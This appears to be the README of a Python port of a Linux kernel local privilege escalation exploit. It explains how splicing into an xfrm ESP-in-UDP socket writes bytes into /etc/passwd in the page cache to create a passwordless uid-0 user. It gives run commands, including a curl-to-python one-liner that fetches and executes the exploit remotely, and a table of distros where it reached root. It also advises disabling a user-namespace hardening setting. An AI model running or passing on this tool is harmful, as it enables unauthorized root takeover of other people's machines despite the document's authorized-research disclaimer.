Python port of the CopyFail2 kernel exploit leveraging xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW fast path for unprivileged Linux local privilege escalation.
Replaces a nologin/false entry in /etc/passwd with a passwordless uid-0 user and drops into a root shell via su.
The kernel bug resides in the UDP splice path used by xfrm ESP-in-UDP encapsulation. splice() into a UDP socket with MSG_SPLICE_PAGES causes pages to be mapped into the receiver's page cache without triggering copy-on-write. This allows writing into any file currently mapped in the page cache, even when opened read-only.
- Original C implementation: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
- Upstream fix: netdev/net.git
- Linux kernel >= 6.5 (MSG_SPLICE_PAGES UDP support)
libcrypto.so(OpenSSL)- Python 3.8+
CAP_NET_ADMINor the ability to create user namespaces
This repo provides two variants. Both produce the same result; pick based on your constraints.
| File | Description | Speed | Use when |
|---|---|---|---|
exploit.py |
Optimized — reuses xfrm state/sockets/pipe across mutations, batches 2 consecutive bytes per round, active polling instead of fixed sleep. | ~3–8 s for a 99-byte line | Default choice. Fast, stable, tested on multiple distros. |
exploit_raw.py |
Reference — closest to the original C code. Recreates xfrm state, sockets, pipe and temp file for every single byte, fixed 200 ms sleep per mutation. | ~30–40 s for a 99-byte line | Use if you want the simplest possible code path for auditing, or if the optimized version misbehaves on a specific kernel build. |
# One-liner via pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# Saved file
python3 exploit.py
# Revert changes
python3 exploit.py --cleanpython3 exploit_raw.py
python3 exploit_raw.py --cleanOn Ubuntu with apparmor_restrict_unprivileged_userns enabled, save the file first and run from disk; the pipe mode skips the AppArmor bypass dance.
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py- Brute-forces an AES-GCM IV whose keystream byte XORs the original
/etc/passwdbyte into the desired value. - Installs a local xfrm ESP-in-UDP state on
127.0.0.1:4500. - Crafts an attacker-controlled backing file containing the forged ESP header and ICV.
splice()s three ranges (ESP header, target byte from/etc/passwd, ICV) into a pipe.splice()s the pipe into the UDP socket, triggering the kernel bug and writing the byte into the page cache.- Repeats for every differing byte to overwrite a
nologin/falseline withsick::0:0:...:/:/bin/bash. su - sickdrops into root (PAMnullokaccepts empty password).
| Distro | Kernel | Result |
|---|---|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | not vuln |
cannot acquire CAP_NET_ADMIN
Your kernel may have kernel.unprivileged_userns_clone=0. Enable it:
sudo sysctl kernel.unprivileged_userns_clone=1If running inside Docker, start the container with --privileged or --cap-add=SYS_ADMIN.
- Hyunwoo Kim (imv4bel) and Kuan-Ting Chen — discovery and upstream fix
- Steffen Klassert — IPsec maintainer, posted the fix
- Brad Spengler / grsecurity — coined "copyfail-class"
- Theori / Xint — original Copy Fail (CVE-2026-31431)
- Original C exploit by 0xdeadbeefnetwork
- Python exploit by guiimoraes
This tool is provided for authorized security research and educational purposes only. Do not use against systems you do not own or have explicit permission to test. The authors assume no liability for misuse or damage caused by this software.
